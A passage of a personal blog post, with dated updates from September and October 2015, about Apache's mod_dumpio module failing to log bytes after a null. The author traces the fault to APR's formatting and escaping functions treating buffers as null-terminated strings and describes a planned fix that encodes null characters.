Searching Google returns references to this module as old as nine years ago. In the intervening time no one has felt the need to fix this issue. And that is something I find inexplicable. Surely many people have noticed this shortcoming of the module and yet none of them fixed the problem. To all of those people I say “shame on you.”

Update 2015-09-24:
OMFG! The problem is that the mod_dumpio.c module code calls ap_log_cerror() with a %.*s format. That function passes the format and arguments to apr_vsnprintf which, not surprisingly, treats the string referenced by the %.*s format as a null terminated string; even though it was passed a length argument. Which is to say it stops formatting characters when it sees the first null (zero) byte in the buffer.

The C language is the first one I fell in love with. I also hate it because it makes it too easy for seemingly smart programmers to ignore the difference between strings and binary buffers.

Update 2015-09-25: I spent a few minutes today looking at the Apache Portable Runtime (apr) library source code. Sadly not only does the apr_vnsprintf function (and its immediate dependencies) assume a null-terminated string so does apr_escape_echo function that performs the escaping. So simply introducing a new “%?” formatting code is insufficient. I’ve concluded that any patch to the APR library to handle printing, with escapes, fixed length buffers will be rejected. So instead I’m going to modify the mod_dumpio.c module to encode null characters. I’ll do this by co-opting another character (probably 0xFF) and use a prefix encoding scheme.
Update 2015-10-03: I’ve created a fix for this problem which you can read about [here](http://www.skepticism.us/2015/10/a-fix-for-the-apache-mod_dumpio-module-not-dumping-null-bytes/).